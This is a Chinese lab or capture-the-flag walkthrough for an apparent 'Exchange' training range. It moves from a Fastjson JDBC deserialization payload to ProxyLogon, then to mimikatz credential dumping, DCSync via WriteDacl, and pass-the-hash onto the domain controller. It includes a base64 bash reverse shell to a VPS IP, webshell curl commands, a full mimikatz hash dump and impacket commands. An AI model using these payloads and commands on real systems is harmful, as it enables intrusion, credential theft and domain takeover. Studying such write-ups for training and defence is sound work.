春秋云镜-Exchange
前言
和上一个靶机不同,这次加入了域控,从头学习一下,较为简略,日后学习再补充
Stowaway 是对的,frp 还是太麻烦了
外网fastjson1.2.68
这个洞之后在研究 Java 时候再分析吧
弱口令登录 admin:123456,然后发现参数使用 json 格式传递
打 JDBC 实现二次反序列化Fastjson高版本的奇技淫巧
在 vps 起一个 MySQL_Fake_Server,把 Ysoserial 放在同目录下,编辑 config.json 弹 shell
{
"config":{
"ysoserialPath":"/root/MySQL_Fake_Server/ysoserial.jar",
"javaBinPath":"java",
"fileOutputDir":"./fileOutput/",
"displayFileContentOnScreen":true,
"saveToFile":true
},
"fileread":{
"linux_passwd":"/etc/passwd",
},
"yso":{
"CommonsCollections6":["CommonsCollections6","bash -c {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzguMTQ3LjEwOC4xODMvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}"],
}
}
启动MySQL_Fake_Server:
python3 server.py
向远程 vps 伪造的恶意 MySQL 服务发送 SQL 请求(URL 编码),恶意服务端返回恶意 SQL 结果触发反序列化,记得放行3306端口
{
"name": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "VPS-ip",
"portToConnectTo": 3306,
"info": {
"user": "CommonsCollections6",
"password": "pas",
"detectCustomCollations": "true",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}
}
也可如下,这里比正常的格式少了个 } ,我一开始还以为是错的
{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "113.45.23.73", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections6_bash -c {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzEyLjM0LjU2Ljc4LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } }
内网172.22.3.9 Exchange服务
虽然弹出来的 shell 是 root 权限,但是这个 shell 还是很难交互,作为新手的我每次卡在这恶心一下,可以参考大头写的 FastProxy,但我在这里直接选择写 ssh 公钥了
上代理,fscan 开扫
网络信息:
172.22.3.12
外网web服务器
172.22.3.9
exchange服务器 XIAORANG-EXC01
172.22.3.2
XIAORANG-WIN16(域控)
172.22.3.26
DC:XIAORANG-WIN16.xiaorang.lab
先打 exchange 服务器,用 ProxyLogon,这个要 python2环境
proxychains python2 proxylogon.py 172.22.3.9 administrator@xiaorang.lab
开出来个交互式 shell
proxychains curl --request POST --url https://172.22.3.9/owa/auth/ncyev.aspx --header 'Content-Type: application/x-www-form-urlencoded' --data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami /all").stdout.readall())' -k
添加用户为 administrators
net user aniale pass@123 /add
net localgroup administrators aniale /add
rdp 连上去读
域控
mimikatz 抓取密码,传上去用管理员运行
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > passwd.txt
主要是这个机器用户hash
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 12927267 (00000000:00c54123)
Session : RemoteInteractive from 3
User Name : aniale
Domain : XIAORANG-EXC01
Logon Server : XIAORANG-EXC01
Logon Time : 2025/2/20 15:46:55
SID : S-1-5-21-804691931-3750513266-524628342-1000
msv :
[00000003] Primary
* Username : aniale
* Domain : XIAORANG-EXC01
* NTLM : 51a52c415264a8fc31520f66f2f50459
* SHA1 : fd8d24d6cc3b3cb3980fc67a4e83a3023af0c508
tspkg :
wdigest :
* Username : aniale
* Domain : XIAORANG-EXC01
* Password : (null)
kerberos :
* Username : aniale
* Domain : XIAORANG-EXC01
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 8770895 (00000000:0085d54f)
Session : Service from 0
User Name : DefaultAppPool
Domain : IIS APPPOOL
Logon Server : (null)
Logon Time : 2025/2/20 14:40:45
SID : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
msv :
[00000003] Primary
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* NTLM : 657f3bc953f7379b86193ce014445852
* SHA1 : a1f4e2a8751264cf07c452bfc90ad796b11daaa7
tspkg :
wdigest :
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XIAORANG-EXC01$
* Domain : xiaorang.lab
* Password : 16 cf f6 44 b2 7a 9b 38 d8 2c 3d 8f 01 48 ee 78 a2 79 4b f5 1a 39 3a a8 dd e1 7a e3 d5 33 5d 76 25 66 fa 0e 00 77 f8 a0 b0 5d 95 87 ef a9 56 16 c8 5e 78 2b d0 4d 44 b3 8c 02 d0 4b 9c f4 2a 09 25 dc bb e7 63 46 56 53 cc c7 ad 22 10 5c 05 b8 c4 2e 05 ba e2 22 2e 17 bf 3f a8 70 ed 9f b6 8c dd df 2a 3b ba 73 18 29 2c 95 9c e4 7b 17 29 24 6d 00 93 75 4b f9 01 53 1f d7 bb 8f e2 dc 8d ac 37 8c 69 e7 47 45 90 c4 4d e0 75 66 38 23 97 1a 9b 6c 87 ca db 2a 86 92 90 b3 19 b9 4b cf 8f ee 48 51 75 cd fd b9 6d ee c1 d0 f2 81 ee 1a af 44 93 ca b1 f6 b7 86 4f 87 0a 91 59 e0 3a 56 5d f8 ea 57 10 13 68 3c b3 2c 72 e5 0f 48 13 17 20 26 e4 ed c2 1e 7b 44 f7 79 fd ae 14 b2 d1 bf 4c 90 be b9 a6 4c a0 c8 25 0f 62 d9 18 ae 82 89 47 be
ssp :
credman :
Authentication Id : 0 ; 103536 (00000000:00019470)
Session : Service from 0
User Name : Zhangtong
Domain : XIAORANG
Logon Server : XIAORANG-WIN16
Logon Time : 2025/2/20 14:21:06
SID : S-1-5-21-533686307-2117412543-4200729784-1147
msv :
[00000003] Primary
* Username : Zhangtong
* Domain : XIAORANG
* NTLM : 22c7f81993e96ac83ac2f3f1903de8b4
* SHA1 : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e
* DPAPI : ed14c3c4ef895b1d11b04fb4e56bb83b
tspkg :
wdigest :
* Username : Zhangtong
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : Zhangtong
* Domain : XIAORANG.LAB
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 103540 (00000000:00019474)
Session : Service from 0
User Name : Zhangtong
Domain : XIAORANG
Logon Server : XIAORANG-WIN16
Logon Time : 2025/2/20 14:21:06
SID : S-1-5-21-533686307-2117412543-4200729784-1147
msv :
[00000003] Primary
* Username : Zhangtong
* Domain : XIAORANG
* NTLM : 22c7f81993e96ac83ac2f3f1903de8b4
* SHA1 : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e
* DPAPI : ed14c3c4ef895b1d11b04fb4e56bb83b
tspkg :
wdigest :
* Username : Zhangtong
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : Zhangtong
* Domain : XIAORANG.LAB
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 23801 (00000000:00005cf9)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2025/2/20 14:20:49
SID :
msv :
[00000003] Primary
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* NTLM : 657f3bc953f7379b86193ce014445852
* SHA1 : a1f4e2a8751264cf07c452bfc90ad796b11daaa7
tspkg :
wdigest :
kerberos :
ssp :
[00000000]
* Username : HealthMailbox0d5918ea7298475bbbb7e3602e1e289d@xiaorang.lab
* Domain : (null)
* Password : pw=wJC3RDupK]qE@:QhZtu8fl|iq@id=?ZsdEzd=2_&2R[2-ZW@;3r]JU2FEa&4Ne6%&r6%5O$;W(:-(0Kg5)Q#@Z{cUfP]0l_]ZXp+FwdXACF1uiSNi-h-uIwJ=}XX%
[00000001]
* Username : HealthMailbox0d5918ea7298475bbbb7e3602e1e289d@xiaorang.lab
* Domain : (null)
* Password : pw=wJC3RDupK]qE@:QhZtu8fl|iq@id=?ZsdEzd=2_&2R[2-ZW@;3r]JU2FEa&4Ne6%&r6%5O$;W(:-(0Kg5)Q#@Z{cUfP]0l_]ZXp+FwdXACF1uiSNi-h-uIwJ=}XX%
credman :
Authentication Id : 0 ; 10386668 (00000000:009e7cec)
Session : NetworkCleartext from 0
User Name : HealthMailbox0d5918e
Domain : XIAORANG
Logon Server : XIAORANG-WIN16
Logon Time : 2025/2/20 14:58:06
SID : S-1-5-21-533686307-2117412543-4200729784-1136
msv :
[00000003] Primary
* Username : HealthMailbox0d5918e
* Domain : XIAORANG
* NTLM : c4dda9dcc3d4d82f37a0193be97cb64e
* SHA1 : 75051ba5e53416532ab44ae48cfd9e66f2dde7a7
* DPAPI : 0ebdfcb722d3ab93a636e52770fe49bf
tspkg :
wdigest :
* Username : HealthMailbox0d5918e
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : HealthMailbox0d5918e
* Domain : XIAORANG.LAB
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 10350809 (00000000:009df0d9)
Session : NetworkCleartext from 0
User Name : HealthMailbox0d5918e
Domain : XIAORANG
Logon Server : XIAORANG-WIN16
Logon Time : 2025/2/20 14:57:30
SID : S-1-5-21-533686307-2117412543-4200729784-1136
msv :
[00000003] Primary
* Username : HealthMailbox0d5918e
* Domain : XIAORANG
* NTLM : c4dda9dcc3d4d82f37a0193be97cb64e
* SHA1 : 75051ba5e53416532ab44ae48cfd9e66f2dde7a7
* DPAPI : 0ebdfcb722d3ab93a636e52770fe49bf
tspkg :
wdigest :
* Username : HealthMailbox0d5918e
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : HealthMailbox0d5918e
* Domain : XIAORANG.LAB
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 2365100 (00000000:002416ac)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/2/20 14:22:49
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* NTLM : 657f3bc953f7379b86193ce014445852
* SHA1 : a1f4e2a8751264cf07c452bfc90ad796b11daaa7
tspkg :
wdigest :
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XIAORANG-EXC01$
* Domain : xiaorang.lab
* Password : 16 cf f6 44 b2 7a 9b 38 d8 2c 3d 8f 01 48 ee 78 a2 79 4b f5 1a 39 3a a8 dd e1 7a e3 d5 33 5d 76 25 66 fa 0e 00 77 f8 a0 b0 5d 95 87 ef a9 56 16 c8 5e 78 2b d0 4d 44 b3 8c 02 d0 4b 9c f4 2a 09 25 dc bb e7 63 46 56 53 cc c7 ad 22 10 5c 05 b8 c4 2e 05 ba e2 22 2e 17 bf 3f a8 70 ed 9f b6 8c dd df 2a 3b ba 73 18 29 2c 95 9c e4 7b 17 29 24 6d 00 93 75 4b f9 01 53 1f d7 bb 8f e2 dc 8d ac 37 8c 69 e7 47 45 90 c4 4d e0 75 66 38 23 97 1a 9b 6c 87 ca db 2a 86 92 90 b3 19 b9 4b cf 8f ee 48 51 75 cd fd b9 6d ee c1 d0 f2 81 ee 1a af 44 93 ca b1 f6 b7 86 4f 87 0a 91 59 e0 3a 56 5d f8 ea 57 10 13 68 3c b3 2c 72 e5 0f 48 13 17 20 26 e4 ed c2 1e 7b 44 f7 79 fd ae 14 b2 d1 bf 4c 90 be b9 a6 4c a0 c8 25 0f 62 d9 18 ae 82 89 47 be
ssp :
credman :
Authentication Id : 0 ; 995 (00000000:000003e3)
Session : Service from 0
User Name : IUSR
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2025/2/20 14:21:07
SID : S-1-5-17
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
ssp :
credman :
Authentication Id : 0 ; 66083 (00000000:00010223)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/2/20 14:21:05
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* NTLM : 657f3bc953f7379b86193ce014445852
* SHA1 : a1f4e2a8751264cf07c452bfc90ad796b11daaa7
tspkg :
wdigest :
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XIAORANG-EXC01$
* Domain : xiaorang.lab
* Password : 16 cf f6 44 b2 7a 9b 38 d8 2c 3d 8f 01 48 ee 78 a2 79 4b f5 1a 39 3a a8 dd e1 7a e3 d5 33 5d 76 25 66 fa 0e 00 77 f8 a0 b0 5d 95 87 ef a9 56 16 c8 5e 78 2b d0 4d 44 b3 8c 02 d0 4b 9c f4 2a 09 25 dc bb e7 63 46 56 53 cc c7 ad 22 10 5c 05 b8 c4 2e 05 ba e2 22 2e 17 bf 3f a8 70 ed 9f b6 8c dd df 2a 3b ba 73 18 29 2c 95 9c e4 7b 17 29 24 6d 00 93 75 4b f9 01 53 1f d7 bb 8f e2 dc 8d ac 37 8c 69 e7 47 45 90 c4 4d e0 75 66 38 23 97 1a 9b 6c 87 ca db 2a 86 92 90 b3 19 b9 4b cf 8f ee 48 51 75 cd fd b9 6d ee c1 d0 f2 81 ee 1a af 44 93 ca b1 f6 b7 86 4f 87 0a 91 59 e0 3a 56 5d f8 ea 57 10 13 68 3c b3 2c 72 e5 0f 48 13 17 20 26 e4 ed c2 1e 7b 44 f7 79 fd ae 14 b2 d1 bf 4c 90 be b9 a6 4c a0 c8 25 0f 62 d9 18 ae 82 89 47 be
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : XIAORANG-EXC01$
Domain : XIAORANG
Logon Server : (null)
Logon Time : 2025/2/20 14:20:49
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : xiaorang-exc01$
* Domain : XIAORANG.LAB
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 12919352 (00000000:00c52238)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/2/20 15:46:55
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* NTLM : 657f3bc953f7379b86193ce014445852
* SHA1 : a1f4e2a8751264cf07c452bfc90ad796b11daaa7
tspkg :
wdigest :
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XIAORANG-EXC01$
* Domain : xiaorang.lab
* Password : 16 cf f6 44 b2 7a 9b 38 d8 2c 3d 8f 01 48 ee 78 a2 79 4b f5 1a 39 3a a8 dd e1 7a e3 d5 33 5d 76 25 66 fa 0e 00 77 f8 a0 b0 5d 95 87 ef a9 56 16 c8 5e 78 2b d0 4d 44 b3 8c 02 d0 4b 9c f4 2a 09 25 dc bb e7 63 46 56 53 cc c7 ad 22 10 5c 05 b8 c4 2e 05 ba e2 22 2e 17 bf 3f a8 70 ed 9f b6 8c dd df 2a 3b ba 73 18 29 2c 95 9c e4 7b 17 29 24 6d 00 93 75 4b f9 01 53 1f d7 bb 8f e2 dc 8d ac 37 8c 69 e7 47 45 90 c4 4d e0 75 66 38 23 97 1a 9b 6c 87 ca db 2a 86 92 90 b3 19 b9 4b cf 8f ee 48 51 75 cd fd b9 6d ee c1 d0 f2 81 ee 1a af 44 93 ca b1 f6 b7 86 4f 87 0a 91 59 e0 3a 56 5d f8 ea 57 10 13 68 3c b3 2c 72 e5 0f 48 13 17 20 26 e4 ed c2 1e 7b 44 f7 79 fd ae 14 b2 d1 bf 4c 90 be b9 a6 4c a0 c8 25 0f 62 d9 18 ae 82 89 47 be
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : XIAORANG-EXC01$
Domain : XIAORANG
Logon Server : (null)
Logon Time : 2025/2/20 14:21:05
SID : S-1-5-20
msv :
[00000003] Primary
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* NTLM : 657f3bc953f7379b86193ce014445852
* SHA1 : a1f4e2a8751264cf07c452bfc90ad796b11daaa7
tspkg :
wdigest :
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : xiaorang-exc01$
* Domain : XIAORANG.LAB
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 12927238 (00000000:00c54106)
Session : RemoteInteractive from 3
User Name : aniale
Domain : XIAORANG-EXC01
Logon Server : XIAORANG-EXC01
Logon Time : 2025/2/20 15:46:55
SID : S-1-5-21-804691931-3750513266-524628342-1000
msv :
[00000003] Primary
* Username : aniale
* Domain : XIAORANG-EXC01
* NTLM : 51a52c415264a8fc31520f66f2f50459
* SHA1 : fd8d24d6cc3b3cb3980fc67a4e83a3023af0c508
tspkg :
wdigest :
* Username : aniale
* Domain : XIAORANG-EXC01
* Password : (null)
kerberos :
* Username : aniale
* Domain : XIAORANG-EXC01
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 12919369 (00000000:00c52249)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/2/20 15:46:55
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* NTLM : 657f3bc953f7379b86193ce014445852
* SHA1 : a1f4e2a8751264cf07c452bfc90ad796b11daaa7
tspkg :
wdigest :
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XIAORANG-EXC01$
* Domain : xiaorang.lab
* Password : 16 cf f6 44 b2 7a 9b 38 d8 2c 3d 8f 01 48 ee 78 a2 79 4b f5 1a 39 3a a8 dd e1 7a e3 d5 33 5d 76 25 66 fa 0e 00 77 f8 a0 b0 5d 95 87 ef a9 56 16 c8 5e 78 2b d0 4d 44 b3 8c 02 d0 4b 9c f4 2a 09 25 dc bb e7 63 46 56 53 cc c7 ad 22 10 5c 05 b8 c4 2e 05 ba e2 22 2e 17 bf 3f a8 70 ed 9f b6 8c dd df 2a 3b ba 73 18 29 2c 95 9c e4 7b 17 29 24 6d 00 93 75 4b f9 01 53 1f d7 bb 8f e2 dc 8d ac 37 8c 69 e7 47 45 90 c4 4d e0 75 66 38 23 97 1a 9b 6c 87 ca db 2a 86 92 90 b3 19 b9 4b cf 8f ee 48 51 75 cd fd b9 6d ee c1 d0 f2 81 ee 1a af 44 93 ca b1 f6 b7 86 4f 87 0a 91 59 e0 3a 56 5d f8 ea 57 10 13 68 3c b3 2c 72 e5 0f 48 13 17 20 26 e4 ed c2 1e 7b 44 f7 79 fd ae 14 b2 d1 bf 4c 90 be b9 a6 4c a0 c8 25 0f 62 d9 18 ae 82 89 47 be
ssp :
credman :
Authentication Id : 0 ; 2413748 (00000000:0024d4b4)
Session : RemoteInteractive from 2
User Name : Zhangtong
Domain : XIAORANG
Logon Server : XIAORANG-WIN16
Logon Time : 2025/2/20 14:22:51
SID : S-1-5-21-533686307-2117412543-4200729784-1a147
msv :
[00000003] Primary
* Username : Zhangtong
* Domain : XIAORANG
* NTLM : 22c7f81993e96ac83ac2f3f1903de8b4
* SHA1 : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e
* DPAPI : ed14c3c4ef895b1d11b04fb4e56bb83b
tspkg :
wdigest :
* Username : Zhangtong
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : Zhangtong
* Domain : XIAORANG.LAB
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 2365066 (00000000:0024168a)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/2/20 14:22:49
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* NTLM : 657f3bc953f7379b86193ce014445852
* SHA1 : a1f4e2a8751264cf07c452bfc90ad796b11daaa7
tspkg :
wdigest :
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XIAORANG-EXC01$
* Domain : xiaorang.lab
* Password : 16 cf f6 44 b2 7a 9b 38 d8 2c 3d 8f 01 48 ee 78 a2 79 4b f5 1a 39 3a a8 dd e1 7a e3 d5 33 5d 76 25 66 fa 0e 00 77 f8 a0 b0 5d 95 87 ef a9 56 16 c8 5e 78 2b d0 4d 44 b3 8c 02 d0 4b 9c f4 2a 09 25 dc bb e7 63 46 56 53 cc c7 ad 22 10 5c 05 b8 c4 2e 05 ba e2 22 2e 17 bf 3f a8 70 ed 9f b6 8c dd df 2a 3b ba 73 18 29 2c 95 9c e4 7b 17 29 24 6d 00 93 75 4b f9 01 53 1f d7 bb 8f e2 dc 8d ac 37 8c 69 e7 47 45 90 c4 4d e0 75 66 38 23 97 1a 9b 6c 87 ca db 2a 86 92 90 b3 19 b9 4b cf 8f ee 48 51 75 cd fd b9 6d ee c1 d0 f2 81 ee 1a af 44 93 ca b1 f6 b7 86 4f 87 0a 91 59 e0 3a 56 5d f8 ea 57 10 13 68 3c b3 2c 72 e5 0f 48 13 17 20 26 e4 ed c2 1e 7b 44 f7 79 fd ae 14 b2 d1 bf 4c 90 be b9 a6 4c a0 c8 25 0f 62 d9 18 ae 82 89 47 be
ssp :
credman :
Authentication Id : 0 ; 66221 (00000000:000102ad)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/2/20 14:21:05
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* NTLM : 9587463cfa3fd1ea760c401e2c52e224
* SHA1 : 162fc915ffccfa73c6f53b3c92f02690ccf7831c
tspkg :
wdigest :
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XIAORANG-EXC01$
* Domain : xiaorang.lab
* Password : 12 ae e6 f2 22 80 c0 a3 cd 84 c9 94 de ef 96 52 79 ff ea 99 f6 9c 67 48 10 08 e7 99 1a fa 51 11 ad b6 c1 79 cc 6d 04 b2 22 01 47 b0 53 b5 7e ff df 04 21 34 ae 7b ee c9 cf b1 c1 d3 c0 63 d3 d7 6a f2 3a 38 83 ac cf d2 93 7b d3 0b bb d6 a5 8d 7c cd f1 77 65 0b 8c 77 dd 98 49 3c 21 f0 5d fc a7 8f c7 e0 5b f7 96 4d d2 46 14 81 8f 4f a7 a4 27 11 09 03 f9 f4 0d ce 71 4d 8d 64 c3 a9 6b 5c 4a 77 ba ac 33 1a 49 60 11 bd 4d b2 1e 98 05 1a c1 03 5b c6 cf 4e 1c d3 83 10 52 51 68 c4 b1 e0 65 c2 36 f3 a6 3f 66 c6 95 8c 3d 47 ab 9b cb 35 bd 53 f0 6f 13 ae 48 28 5e cf 5b ee 45 ce 7f 10 47 aa e6 f0 d3 09 c0 b3 ad ef 24 00 c5 c8 f0 7f a5 06 93 0e f5 a4 2a ec d0 25 96 4d a4 88 d3 55 94 d9 94 81 ef 8b ba 9e 89 b6 36 dc 88 64 8d 96
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2025/2/20 14:21:05
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
mimikatz(commandline) # exit
Bye!
上传 BloodHound 分析域环境,Exchange 在域内具有 WriteDacl 权限,利用 WriteDacl 权限添加 Zhangtong用户的 DCSync权限
proxychains curl --request POST --url https://172.22.3.9/owa/auth/ncyev.aspx --header 'Content-Type: application/x-www-form-urlencoded' --data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("C:/Users/benbi/Desktop/SharpHound.exe -c all --OutputDirectory C:/Windows/Temp/").stdout.readall())' -k
用 psexec.py 进行 PTH 获取 system 权限的可交互 shell:
proxychains python3 psexec.py -hashes 00000000000000000000000000000000:4bbabc30220c63608886bbff831a9aaf xiaorang/XIAORANG-EXC01\$@172.22.3.9
上传 powerview.ps1,为Zhangtong用户添加DCSync权限。我这里编码出了点问题,以后换 kali 吧
利用 Zhangtong 用户导出域内哈希:
proxychains python3 secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc
域管哈希为:7acbc09a6c0efd81bfa7d5a1d4238beb,用域管哈希PTH拿下域控,可以直接读文件或者写用户上去 rdp 也行
proxychains python3 wmiexec.py -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang/administrator@172.22.3.2
域内用户
之前我们利用 Zhangtong 用户导出域内哈希,里面有一个 Lumia 用户,我在域控上修改了密码但还是没登上去,所以换
proxychains python3 pthexchange.py --target https://172.22.3.9/ --username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' --action Download
拿到加密压缩包和邮件,密码是手机号,信息导出来爆破一下